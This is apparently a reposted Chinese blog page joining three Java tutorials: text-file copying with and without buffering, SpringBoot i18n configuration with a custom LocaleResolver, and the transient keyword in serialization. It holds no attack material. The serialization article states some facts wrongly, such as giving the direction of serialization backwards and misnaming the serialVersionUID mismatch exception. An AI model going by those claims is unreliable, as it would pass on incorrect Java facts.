     * @param sourceFileName 源文件路徑
     * @param targetFileName 拷貝后目標文件路徑
     * @throws IOException IO異常
     */
    public static void slowlyCopyTextFile(String sourceFileName, String targetFileName) throws IOException {
        FileReader fileReader = new FileReader(sourceFileName);
        FileWriter fileWriter = new FileWriter(targetFileName);
        int c;
        while ((c = fileReader.read()) != -1) {
            fileWriter.write((char)c);
        }
        fileReader.close();
        fileWriter.close();
    }

    /**
     * 文本文件拷貝,使用緩衝
     * @param sourceFileName 源文件路徑
     * @param targetFileName 拷貝后目標文件路徑
     * @throws IOException IO異常
     */
    public static void fastCopyTextFile(String sourceFileName, String targetFileName) throws IOException {
        FileReader fileReader = new FileReader(sourceFileName);
        BufferedReader bufferedReader = new BufferedReader(fileReader);
        FileWriter fileWriter = new FileWriter(targetFileName);
        BufferedWriter bufferedWriter = new BufferedWriter(fileWriter);
        String str;
        while ((str = bufferedReader.readLine()) != null) {
            bufferedWriter.write(str + "\n");
        }
        bufferedReader.close();
        fileReader.close();
        bufferedWriter.close();
        fileWriter.close();
    }

    public static void main(String[] args) throws IOException {
        long startTime = System.currentTimeMillis();
        //文件30M
        slowlyCopyTextFile("D:\\Download\\小說合集.txt","D:\\小說合集.txt");//3182ms
        fastCopyTextFile("D:\\Download\\小說合集.txt","D:\\小說合集.txt");//1583ms
        System.out.println(System.currentTimeMillis() - startTime);
    }

三. 總結

本文主要對Java IO相關知識點做了結構性梳理,包括了Java IO的作用,數據源File類,輸入流,輸出流,字節流,字符流,以及緩衝流,不同場景下的更細化的流操作類型,同時用了一個文件拷貝代碼簡單地說明了主要的流操作,若有不對之處,請批評指正,望共同進步,謝謝!。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

SpringBoot系列之i18n集成教程

目錄

SpringBoot系統之i18n國際化語言集成教程
@

1、環境搭建

本博客介紹一下SpringBoot集成i18n,實現系統語言國際化處理,ok,先創建一個SpringBoot項目,具體的參考我的博客專欄:

環境準備:

  • IntelliJ IDEA
  • Maven

項目集成:

  • Thymeleaf(模板引擎,也可以選jsp或者freemark)
  • SpringBoot2.2.1.RELEASE

2、resource bundle資源配置

ok,要實現國際化語言,先要創建resource bundle文件:
在resources文件夾下面創建一個i18n的文件夾,其中:

  • messages.properties是默認的配置
  • messages_zh_CN.properties是(中文/中國)
  • messages_en_US.properties是(英文/美國)
  • etc.

    IDEA工具就提供了很簡便的自動配置功能,如圖,只要點擊新增按鈕,手動輸入,各配置文件都會自動生成屬性

    messages.properties:

messages.loginBtnName=登錄~
messages.password=密碼~
messages.rememberMe=記住我~
messages.tip=請登錄~
messages.username=用戶名~

messages_zh_CN.properties:

messages.loginBtnName=登錄
messages.password=密碼
messages.rememberMe=記住我
messages.tip=請登錄
messages.username=用戶名

messages_en_US.properties:

messages.loginBtnName=login
messages.password=password
messages.rememberMe=Remember me
messages.tip=Please login in
messages.username=userName

在項目的application.properties修改默認配置,讓SpringBoot的自動配置能讀取到resource bundle資源文件

## 配置i18n
# 默認是i18n(中文/中國)
spring.mvc.locale=zh_CN
# 配置resource bundle資源文件的前綴名eg:i18n是文件夾名,messages是資源文件名,支持的符號有.號或者/
spring.messages.basename=i18n.messages
# 設置緩存時間,2.2.1是s為單位,之前版本才是毫秒
spring.messages.cache-duration=1
# 設置資源文件編碼格式為utf8
spring.messages.encoding=utf-8

注意要點:

  • spring.messages.basename必須配置,否則SpringBoot的自動配置將失效
    MessageSourceAutoConfiguration.ResourceBundleCondition 源碼:
protected static class ResourceBundleCondition extends SpringBootCondition {
        //定義一個map緩存池
        private static ConcurrentReferenceHashMap<String, ConditionOutcome> cache = new ConcurrentReferenceHashMap<>();

        @Override
        public ConditionOutcome getMatchOutcome(ConditionContext context, AnnotatedTypeMetadata metadata) {
            String basename = context.getEnvironment().getProperty("spring.messages.basename", "messages");
            ConditionOutcome outcome = cache.get(basename);//緩存拿得到,直接從緩存池讀取
            if (outcome == null) {//緩存拿不到,重新讀取
                outcome = getMatchOutcomeForBasename(context, basename);
                cache.put(basename, outcome);
            }
            return outcome;
        }

        private ConditionOutcome getMatchOutcomeForBasename(ConditionContext context, String basename) {
            ConditionMessage.Builder message = ConditionMessage.forCondition("ResourceBundle");
            for (String name : StringUtils.commaDelimitedListToStringArray(StringUtils.trimAllWhitespace(basename))) {
                for (Resource resource : getResources(context.getClassLoader(), name)) {
                    if (resource.exists()) {
                    //匹配resource bundle資源
                        return ConditionOutcome.match(message.found("bundle").items(resource));
                    }
                }
            }
            return ConditionOutcome.noMatch(message.didNotFind("bundle with basename " + basename).atAll());
        }
        //解析資源文件
        private Resource[] getResources(ClassLoader classLoader, String name) {
            String target = name.replace('.', '/');//spring.messages.basename參數值的點號換成斜桿
            try {
                return new PathMatchingResourcePatternResolver(classLoader)
                        .getResources("classpath*:" + target + ".properties");
            }
            catch (Exception ex) {
                return NO_RESOURCES;
            }
        }

    }
  • cache-duration在2.2.1版本,指定的是s為單位,找到SpringBoot的MessageSourceAutoConfiguration自動配置類

3、LocaleResolver類

SpringBoot默認採用AcceptHeaderLocaleResolver類作為默認LocaleResolver,LocaleResolver類的作用就是作為i18n的分析器,獲取對應的i18n配置,當然也可以自定義LocaleResolver類


import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.lang.Nullable;
import org.springframework.util.StringUtils;
import org.springframework.web.servlet.LocaleResolver;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.util.Locale;

/**
 * <pre>
 *  自定義LocaleResolver類
 * </pre>
 * @author nicky
 * <pre>
 * 修改記錄
 *    修改后版本:     修改人:  修改日期: 2019年11月23日  修改內容:
 * </pre>
 */
public class CustomLocalResolver implements LocaleResolver {

    Logger LOG = LoggerFactory.getLogger(this.getClass());

    @Nullable
    private Locale defaultLocale;

    public void setDefaultLocale(@Nullable Locale defaultLocale) {
        this.defaultLocale = defaultLocale;
    }

    @Nullable
    public Locale getDefaultLocale() {
        return this.defaultLocale;
    }

    @Override
    public Locale resolveLocale(HttpServletRequest request) {
        Locale defaultLocale = this.getDefaultLocale();//獲取application.properties默認的配置
        if(defaultLocale != null && request.getHeader("Accept-Language") == null) {
            return defaultLocale;//http請求頭沒獲取到Accept-Language才採用默認配置
        } else {//request.getHeader("Accept-Language")獲取得到的情況
            Locale requestLocale = request.getLocale();//獲取request.getHeader("Accept-Language")的值
            String localeFlag = request.getParameter("locale");//從URL獲取的locale值
            //LOG.info("localeFlag:{}",localeFlag);
            //url鏈接有傳locale參數的情況,eg:zh_CN
            if (!StringUtils.isEmpty(localeFlag)) {
                String[] split = localeFlag.split("_");
                requestLocale = new Locale(split[0], split[1]);
            }
            //沒傳的情況,默認返回request.getHeader("Accept-Language")的值
            return requestLocale;
        }
    }

    @Override
    public void setLocale(HttpServletRequest request, HttpServletResponse response, Locale locale) {

    }
}

4、I18n配置類

I18n還是要繼承WebMvcConfigurer,注意,2.2.1版本才是實現接口就可以,之前1.+版本是要實現WebMvcConfigurerAdapter適配器類的

import com.example.springboot.i18n.component.CustomLocalResolver;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties;
import org.springframework.boot.context.properties.EnableConfigurationProperties;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.LocaleResolver;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
import org.springframework.web.servlet.i18n.LocaleChangeInterceptor;

/**
 * <pre>
 *  I18nConfig配置類
 * </pre>
 * <p>
 * <pre>
 * @author nicky.ma
 * 修改記錄
 *    修改后版本:     修改人:  修改日期: 2019/11/24 11:15  修改內容:
 * </pre>
 */
 //Configuration必須加上,不然不能加載到Spring容器
@Configuration
//使WebMvcProperties配置類可用,這個可以不加上,本博客例子才用
@EnableConfigurationProperties({ WebMvcProperties.class})
public class I18nConfig implements WebMvcConfigurer{
    
    //裝載WebMvcProperties 屬性
    @Autowired
    WebMvcProperties webMvcProperties;
    /**
     * 定義SessionLocaleResolver
     * @Author nicky.ma
     * @Date 2019/11/24 13:52
     * @return org.springframework.web.servlet.LocaleResolver
     */
//    @Bean
//    public LocaleResolver localeResolver() {
//        SessionLocaleResolver sessionLocaleResolver = new SessionLocaleResolver();
//        // set default locale
//        sessionLocaleResolver.setDefaultLocale(Locale.US);
//        return sessionLocaleResolver;
//    }

    /**
     * 定義CookieLocaleResolver
     * @Author nicky.ma
     * @Date 2019/11/24 13:51
     * @return org.springframework.web.servlet.LocaleResolver
     */
//    @Bean
//    public LocaleResolver localeResolver() {
//        CookieLocaleResolver cookieLocaleResolver = new CookieLocaleResolver();
//        cookieLocaleResolver.setCookieName("Language");
//        cookieLocaleResolver.setCookieMaxAge(1000);
//        return cookieLocaleResolver;
//    }

    /**
     * 自定義LocalResolver
     * @Author nicky.ma
     * @Date 2019/11/24 13:45
     * @return org.springframework.web.servlet.LocaleResolver
     */
    @Bean
    public LocaleResolver localeResolver(){
        CustomLocalResolver localResolver = new CustomLocalResolver();
        localResolver.setDefaultLocale(webMvcProperties.getLocale());
        return localResolver;
    }

    /**
     * 定義localeChangeInterceptor
     * @Author nicky.ma
     * @Date 2019/11/24 13:45
     * @return org.springframework.web.servlet.i18n.LocaleChangeInterceptor
     */
    @Bean
    public LocaleChangeInterceptor localeChangeInterceptor(){
        LocaleChangeInterceptor localeChangeInterceptor = new LocaleChangeInterceptor();
        //默認的請求參數為locale,eg: login?locale=zh_CN
        localeChangeInterceptor.setParamName(LocaleChangeInterceptor.DEFAULT_PARAM_NAME);
        return localeChangeInterceptor;
    }

    /**
     * 註冊攔截器
     * @Author nicky.ma
     * @Date 2019/11/24 13:47
     * @Param [registry]
     * @return void
     */
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
     registry.addInterceptor(localeChangeInterceptor()).addPathPatterns("/**");
    }
}

注意要點:

  • 舊版代碼可以不加LocaleChangeInterceptor 攔截器,2.2.1版本必須通過攔截器
  • 如下代碼,bean的方法名必須為localeResolver,否則會報錯
@Bean
    public LocaleResolver localeResolver(){
        CustomLocalResolver localResolver = new CustomLocalResolver();
        localResolver.setDefaultLocale(webMvcProperties.getLocale());
        return localResolver;
    }

原理:
跟一下源碼,點進LocaleChangeInterceptor類

DispatcherServlet是Spring一個很重要的分發器類,在DispatcherServlet的一個init方法里找到這個LocaleResolver的init方法

這個IOC獲取的bean類名固定為localeResolver,寫例子的時候,我就因為改了bean類名,導致一直報錯,跟了源碼才知道Bean類名要固定為localeResolver

拋異常的時候,也是會獲取默認的LocaleResolver的

找到資源文件,確認,還是默認為AcceptHeaderLocaleResolver

配置了locale屬性的時候,還是選用AcceptHeaderLocaleResolver作為默認的LocaleResolver

spring.mvc.locale=zh_CN

WebMvcAutoConfiguration.localeResolver方法源碼,ConditionalOnMissingBean主鍵的意思是LocaleResolver沒有自定義的時候,才作用,ConditionalOnProperty的意思,有配了屬性才走這裏的邏輯

  • 攔截器攔截的請求參數默認為locale,要使用其它參數,必須通過攔截器設置 ,eg:localeChangeInterceptor.setParamName("lang");
  • LocalResolver種類有:CookieLocaleResolver(Cookie)、SessionLocaleResolver(會話)、FixedLocaleResolver、AcceptHeaderLocaleResolver(默認)、.etc

5、Thymeleaf集成

本博客的模板引擎採用Thymeleaf的,所以新增項目時候就要加上maven相關依賴,沒有的話,自己加上:

<dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

ok,然後去找個bootstrap的登錄頁面,本博客已尚硅谷老師的例子為例,進行拓展,引入靜態資源文件:

Thymeleaf的i18n支持是採用#符號的

<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <meta name="description" content="">
        <meta name="author" content="">
        <title>SpringBoot i18n example</title>
        <!-- Bootstrap core CSS -->
        <link href="asserts/css/bootstrap.min.css" th:href="@{asserts/css/bootstrap.min.css}" rel="stylesheet">
        <!-- Custom styles for this template -->
        <link href="asserts/css/signin.css" th:href="@{asserts/css/signin.css}" rel="stylesheet">
    </head>

    <body class="text-center">
        <form class="form-signin" action="dashboard.html">
            <img class="mb-4" th:src="@{asserts/img/bootstrap-solid.svg}" alt="" width="72" height="72">
            <h1 class="h3 mb-3 font-weight-normal" th:text="#{messages.tip}">Please sign in</h1>
            <label class="sr-only" th:text="#{messages.username}">Username</label>
            <input type="text" class="form-control" th:placeholder="#{messages.username}" required="" autofocus="">
            <label class="sr-only" th:text="#{messages.password} ">Password</label>
            <input type="password" class="form-control" th:placeholder="#{messages.password}" required="">
            <div class="checkbox mb-3">
                <label>
          <input type="checkbox" value="remember-me" > [[#{messages.rememberMe}]]
        </label>
            </div>
            <button class="btn btn-lg btn-primary btn-block" type="submit" th:text="#{messages.loginBtnName}">Sign in</button>
            <p class="mt-5 mb-3 text-muted">© 2019</p>
            <a class="btn btn-sm" th:href="@{/login(locale='zh_CN')} ">中文</a>
            <a class="btn btn-sm" th:href="@{/login(locale='en_US')} ">English</a>
        </form>

    </body>

</html>

切換中文網頁:

切換英文網頁:

當然不點鏈接傳locale的方式也是可以自動切換的,瀏覽器設置語言:

原理localeResolver類會獲取Accept language參數

附錄:
logging manual:
example source:

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

java中的transient關鍵字詳解

目錄

前言
說實話學了一段時間java的朋友對於transient這個關鍵字依舊很陌生基本沒怎麼用過,但是transient關鍵字在java中卻起到了不可或缺的地位!如果要說講到,我覺得最可能出現的地方是IO流中對象流(也叫序列化流)的時候會講到!

相信很多人都是直到自己碰到才會關心這個關鍵字,記得博主第一次碰到transient關鍵字是在閱讀JDK源碼的時候。在學習java的過程中transient關鍵字少見的原因其實離不開它的作用:transient關鍵字的主要作用就是讓某些被transient關鍵字修飾的成員屬性變量不被序列化。實際上也正是因此,在學習過程中很少用得上序列化操作,一般都是在實際開發中!至於序列化,相信有很多小白童鞋一直迷迷糊糊或者沒有具體的概念,這都不是事,下面博主會很清楚的讓你記住啥是序列化,保證你這輩子忘不了(貌似有點誇張,有點裝b,感覺要被打)

@

1、何謂序列化?

說起序列化,隨之而來的另一個概念就是反序列化,小白童鞋不要慌,記住了序列化就相當於記住了反序列化,因為反序列化就是序列化反過來,所以博主建議只記住序列化概念即可,省的搞暈自己。

專業術語定義的序列化:

Java提供了一種對象序列化的機制。用一個字節序列可以表示一個對象,該字節序列包含該對象的數據、對象的類型和對象中存儲的屬性等信息。字節序列寫出到文件之後,相當於文件中持久保存了一個對象的信息。反之,該字節序列還可以從文件中讀取回來,重構對象,對它進行反序列化。對象的數據、對象的類型和對象中存儲的數據信息,都可以用來在內存中創建對象。

宜春的術語定義序列化:

序列化: 字節 ——> 對象

其實,我總結的就是上面的結論,如果不理解,直接參照專業術語的定義,理解之後就記住我的話就行了,記不住,請打死我(我踢m簡直就是個天才)

圖理解序列化:

啥?你不懂啥是字節?其實,我在一篇IO流的文章里就已經介紹了序列化,放心,絕對特別詳細~光看文章名字就知道了~

2、為何要序列化?

從上一節提到序列化的概念,知道概念之後,我們就必須要知道 為何要序列化了。

講為何要序列化原因之前,博主我舉個栗子:

就像你去街上買菜,一般操作都是用塑料袋給包裝起來,直到回家要做菜的時候就把菜給拿出來。而這一系列操作就像極了序列化和反序列化!

Java中對象的序列化指的是將對象轉換成以字節序列的形式來表示,這些字節序列包含了對象的數據和信息,一個序列化后的對象 可以被寫到數據庫或文件中,也可用於 網絡傳輸,一般當我們使用 緩存cache(內存空間不夠有可能會本地存儲到硬盤)或 遠程調用rpc(網絡傳輸)的時候,經常需要讓我們的實體類實現Serializable接口,目的就是為了讓其可序列化。

  • 在開發過程中要使用transient關鍵字修飾的栗子:

如果一個用戶有一些密碼等信息,為了安全起見,不希望在網絡操作中被傳輸,這些信息對應的變量就可以加上transient關鍵字。換句話說,這個字段的生命周期僅存於調用者的內存中而不會寫到磁盤裡持久化。

  • 在開發過程中不需要transient關鍵字修飾的栗子:

1、類中的字段值可以根據其它字段推導出來。
2、看具體業務需求,哪些字段不想被序列化;

不知道各位有木有想過為什麼要不被序列化呢?其實主要是為了節省存儲空間。優化程序!

PS:記得之前看HashMap源碼的時候,發現有個字段是用transient修飾的,我覺得還是有道理的,確實沒必要對這個modCount字段進行序列化,因為沒有意義,modCount主要用於判斷HashMap是否被修改(像put、remove操作的時候,modCount都會自增),對於這種變量,一開始可以為任何值,0當然也是可以(new出來、反序列化出來、或者克隆clone出來的時候都是為0的),沒必要持久化其值。

當然,序列化后的最終目的是為了反序列化,恢復成原先的Java對象,要不然序列化后幹嘛呢,就像買菜一樣,用塑料袋包裹最後還是為了方便安全到家再去掉塑料袋,所以序列化后的字節序列都是可以恢復成Java對象的,這個過程就是反序列化。

3、序列化與transient的使用

 1、需要做序列化的對象的類,必須實現序列化接口:Java.lang.Serializable 接口(一個標誌接口,沒有任何抽象方法),Java 中大多數類都實現了該接口,比如:StringInteger類等,不實現此接口的類將不會使任何狀態序列化或反序列化,會拋NotSerializableException異常 。

  2、底層會判斷,如果當前對象是 Serializable 的實例,才允許做序列化,Java對象 instanceof Serializable 來判斷。

  3、在 Java 中使用對象流ObjectOutputStream來完成序列化以及ObjectInputStream流反序列化   

  1. ==ObjectOutputStream:通過 writeObject()方法做序列化操作== 

  2. ==ObjectInputStream:通過 readObject() 方法做反序列化操作==

4、該類的所有屬性必須是可序列化的。如果有一個屬性不需要可序列化的,則該屬性必須註明是瞬態的,使用transient 關鍵字修飾。

由於字節嘛所以肯定要涉及流的操作,也就是對象流也叫序列化流ObjectOutputstream,下面進行多種情況分析序列化的操作代碼!

在這裏,我真的強烈建議看宜春博客的讀者朋友,請試着去敲,切記一眼帶過或者複製過去運行就完事了,特別是小白童鞋,相信我!你一定會有不一樣的收穫。千萬不要覺得浪費時間,有時候慢就是快,宜春親身體會!

3.1、沒有實現Serializable接口進行序列化情況

package TransientTest;
import java.io.*;

class UserInfo {  //================================注意這裏沒有實現Serializable接口
    private String name;
    private transient String password;

    public UserInfo(String name,String psw) {
        this.name = name;
        this.password=psw;
    }

    @Override
    public String toString() {
        return "UserInfo{" +
                "name='" + name + '\'' +
                ", password='" + password + '\'' +
                '}';
    }
}

public class TransientDemo {
    public static void main(String[] args) {

        UserInfo userInfo=new UserInfo("老王","123");
        System.out.println("序列化之前信息:"+userInfo);

        try {
            ObjectOutputStream output=new ObjectOutputStream(new FileOutputStream("userinfo.txt"));
            output.writeObject(new UserInfo("老王","123"));
            output.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

運行結果

3.2、實現Serializable接口序列化情況

當我們加上實現Serializable接口再運行會發現,項目中出現的userinfo.txt文件內容是這樣的:

其實這都不是重點,重點是序列化操作成功了!

3.3、普通序列化情況

package TransientTest;
import java.io.*;

class UserInfo implements Serializable{  //第一步實現Serializable接口
    private String name;
    private String password;//都是普通屬性==============================

    public UserInfo(String name,String psw) {
        this.name = name;
        this.password=psw;
    }

    @Override
    public String toString() {
        return "UserInfo{" +
                "name='" + name + '\'' +
                ", password='" + password + '\'' +
                '}';
    }
}

public class TransientDemo {
    public static void main(String[] args) throws ClassNotFoundException {

        UserInfo userInfo=new UserInfo("程序員老王","123");
        System.out.println("序列化之前信息:"+userInfo);

        try {
            ObjectOutputStream output=new ObjectOutputStream(new FileOutputStream("userinfo.txt")); //第二步開始序列化操作
            output.writeObject(new UserInfo("程序員老王","123"));
            output.close();
        } catch (IOException e) {
            e.printStackTrace();
        }

        try {
            ObjectInputStream input=new ObjectInputStream(new FileInputStream("userinfo.txt"));//第三步開始反序列化操作
            Object o = input.readObject();//ObjectInputStream的readObject方法會拋出ClassNotFoundException
            System.out.println("序列化之後信息:"+o);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

運行結果:

序列化之前信息:UserInfo{name='程序員老王', password='123'}
序列化之後信息:UserInfo{name='程序員老王', password='123'}

3.4、transient序列化情況

package TransientTest;
import java.io.*;

class UserInfo implements Serializable{  //第一步實現Serializable接口
    private String name;
    private transient String password; //特別注意:屬性由transient關鍵字修飾===========

    public UserInfo(String name,String psw) {
        this.name = name;
        this.password=psw;
    }

    @Override
    public String toString() {
        return "UserInfo{" +
                "name='" + name + '\'' +
                ", password='" + password + '\'' +
                '}';
    }
}

public class TransientDemo {
    public static void main(String[] args) throws ClassNotFoundException {

        UserInfo userInfo=new UserInfo("程序員老王","123");
        System.out.println("序列化之前信息:"+userInfo);

        try {
            ObjectOutputStream output=new ObjectOutputStream(new FileOutputStream("userinfo.txt")); //第二步開始序列化操作
            output.writeObject(new UserInfo("程序員老王","123"));
            output.close();
        } catch (IOException e) {
            e.printStackTrace();
        }

        try {
            ObjectInputStream input=new ObjectInputStream(new FileInputStream("userinfo.txt"));//第三步開始反序列化操作
            Object o = input.readObject();//ObjectInputStream的readObject方法會拋出ClassNotFoundException
            System.out.println("序列化之後信息:"+o);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

運行結果:

序列化之前信息:UserInfo{name='程序員老王', password='123'}
序列化之後信息:UserInfo{name='程序員老王', password='null'}

特別注意結果,添加transient修飾的屬性值為默認值null!如果被transient修飾的屬性為int類型,那它被序列化之後值一定是0,當然各位可以去試試,這能說明什麼呢?說明被標記為transient的屬性在對象被序列化的時候不會被保存(或者說變量不會持久化)

3.5、static序列化情況

package TransientTest;
import java.io.*;

class UserInfo implements Serializable{  //第一步實現Serializable接口
    private String name;
    private static String password; //特別注意:屬性由static關鍵字修飾==============

    public UserInfo(String name, String psw) {
        this.name = name;
        this.password=psw;
    }

    @Override
    public String toString() {
        return "UserInfo{" +
                "name='" + name + '\'' +
                ", password='" + password + '\'' +
                '}';
    }
}

public class TransientDemo {
    public static void main(String[] args) throws ClassNotFoundException {

        UserInfo userInfo=new UserInfo("程序員老王","123");
        System.out.println("序列化之前信息:"+userInfo);

        try {
            ObjectOutputStream output=new ObjectOutputStream(new FileOutputStream("userinfo.txt")); //第二步開始序列化操作
            output.writeObject(new UserInfo("程序員老王","123"));
            output.close();
        } catch (IOException e) {
            e.printStackTrace();
        }

        try {
            ObjectInputStream input=new ObjectInputStream(new FileInputStream("userinfo.txt"));//第三步開始反序列化操作
            Object o = input.readObject();//ObjectInputStream的readObject方法會拋出ClassNotFoundException
            System.out.println("序列化之後信息:"+o);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

運行結果:

序列化之前信息:UserInfo{name='程序員老王', password='123'}
序列化之後信息:UserInfo{name='程序員老王', password='123'}

這個時候,你就會錯誤的認為static修飾的也被序列化了,其實不然,實際上這裏很容易被搞暈!明明取出null(默認值)就可以說明不會被序列化,這裏明明沒有變成默認值,為何還要說static不會被序列化呢?

實際上,反序列化后類中static型變量name的值實際上是當前JVM中對應static變量的值,這個值是JVM中的並不是反序列化得出的。也就是說被static修飾的變量並沒有參与序列化!但是咱也不能口說無憑啊,是的,那我們就來看兩個程序對比一下就明白了!

第一個程序:這是一個沒有被static修飾的name屬性程序:

package Thread;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

class UserInfo implements Serializable {
    private String name;
    private transient String psw;

    public UserInfo(String name, String psw) {
        this.name = name;
        this.psw = psw;
    }

    public  String getName() {
        return name;
    }

    public  void setName(String name) {
        this.name = name;
    }

    public String getPsw() {
        return psw;
    }

    public void setPsw(String psw) {
        this.psw = psw;
    }

    public String toString() {
        return "name=" + name + ", psw=" + psw;
    }
}
public class TestTransient {
    public static void main(String[] args) {
        UserInfo userInfo = new UserInfo("程序員老過", "456");
        System.out.println(userInfo);
        try {
            // 序列化,被設置為transient的屬性沒有被序列化
            ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("UserInfo.txt"));
            o.writeObject(userInfo);
            o.close();
        } catch (Exception e) {
            // TODO: handle exception
            e.printStackTrace();
        }
        try {
            //在反序列化之前改變name的值 =================================注意這裏的代碼
            userInfo.setName("程序員老改");
            // 重新讀取內容
            ObjectInputStream in = new ObjectInputStream(new FileInputStream("UserInfo.txt"));
            UserInfo readUserInfo = (UserInfo) in.readObject();
            //讀取后psw的內容為null
            System.out.println(readUserInfo.toString());
        } catch (Exception e) {
            // TODO: handle exception
            e.printStackTrace();
        }
    }
}

運行結果:

name=程序員老過, psw=456
name=程序員老過, psw=null

從程序運行結果中可以看出,在反序列化之前試着改變name的值為程序員老改,結果是沒有成功的!

第二個程序:這是一個被static修飾的name屬性程序:

package Thread;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

class UserInfo implements Serializable {
    private static final long serialVersionUID = 996890129747019948L;
    private static String name;
    private transient String psw;

    public UserInfo(String name, String psw) {
        this.name = name;
        this.psw = psw;
    }

    public  String getName() {
        return name;
    }

    public  void setName(String name) {
        this.name = name;
    }

    public String getPsw() {
        return psw;
    }

    public void setPsw(String psw) {
        this.psw = psw;
    }

    public String toString() {
        return "name=" + name + ", psw=" + psw;
    }
}
public class TestTransient {
    public static void main(String[] args) {
        UserInfo userInfo = new UserInfo("程序員老過", "456");
        System.out.println(userInfo);
        try {
            // 序列化,被設置為transient的屬性沒有被序列化
            ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("UserInfo.txt"));
            o.writeObject(userInfo);
            o.close();
        } catch (Exception e) {
            // TODO: handle exception
            e.printStackTrace();
        }
        try {
            //在反序列化之前改變name的值
            userInfo.setName("程序員老改");
            // 重新讀取內容
            ObjectInputStream in = new ObjectInputStream(new FileInputStream("UserInfo.txt"));
            UserInfo readUserInfo = (UserInfo) in.readObject();
            //讀取后psw的內容為null
            System.out.println(readUserInfo.toString());
        } catch (Exception e) {
            // TODO: handle exception
            e.printStackTrace();
        }
    }
}

運行結果:

name=程序員老過, psw=456
name=程序員老改, psw=null

從程序運行結果中可以看出,在反序列化之前試着改變name的值為程序員老改,結果是成功的!現在對比一下兩個程序是不是就很清晰了?

static關鍵字修飾的成員屬性優於非靜態成員屬性加載到內存中,同時靜態也優於對象進入到內存中,被static修飾的成員變量不能被序列化,序列化的都是對象,靜態變量不是對象狀態的一部分,因此它不參与序列化。所以將靜態變量聲明為transient變量是沒有用處的。因此,反序列化后類中static型變量name的值實際上是當前JVM中對應static變量的值,這個值是JVM中的並不是反序列化得出的。

如果對static關鍵字還是不太清楚理解的童鞋可以參考這篇文章,應該算是不錯的:

3.6、final序列化情況

對於final關鍵字來講,final變量將直接通過值參与序列化,至於代碼程序我就不再貼出來了,大家可以試着用final修飾驗證一下!

主要注意的是final 和transient可以同時修飾同一個變量,結果也是一樣的,對transient沒有影響,這裏主要提一下,希望各位以後在開發中遇到這些情況不會滿頭霧水!

4、java類中serialVersionUID作用

既然提到了transient關鍵字就不得不提到序列化,既然提到了序列化,就不得不提到serialVersionUID了,它是啥呢?基本上有序列化就會存在這個serialVersionUID。

serialVersionUID適用於Java的序列化機制。簡單來說,Java的序列化機制是通過判斷類的serialVersionUID來驗證版本一致性的。在進行反序列化時,JVM會把傳來的字節流中的serialVersionUID與本地相應實體類的serialVersionUID進行比較,如果相同就認為是一致的,可以進行反序列化,否則就會出現序列化版本不一致的異常,即是InvalidCastException,在開發中有時候可寫可不寫,建議最好還是寫上比較好。

5、transient關鍵字小結

1、變量被transient修飾,變量將不會被序列化
2、transient關鍵字只能修飾變量,而不能修飾方法和類。
3、被static關鍵字修飾的變量不參与序列化,一個靜態static變量不管是否被transient修飾,均不能被序列化。
4、final變量值參与序列化,final transient同時修飾變量,final不會影響transient,一樣不會參与序列化

第二點需要注意的是:本地變量是不能被transient關鍵字修飾的。變量如果是用戶自定義類變量,則該類需要實現Serializable接口

第三點需要注意的是:反序列化后類中static型變量的值實際上是當前JVM中對應static變量的值,這個值是JVM中的並不是反序列化得出的。

結語:被transient關鍵字修飾導致不被序列化,其優點是可以節省存儲空間。優化程序!隨之而來的是會導致被transient修飾的字段會重新計算,初始化!

如果本文對你有一點點幫助,那麼請點個讚唄,謝謝~

若有不足或者不正之處,歡迎指正批評,感激不盡!如果有疑問歡迎留言,絕對第一時間回復!

最後,歡迎各位關注宜春的公眾號,一起探討技術,嚮往技術,追求技術,說好了來了就是盆友喔…

  

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選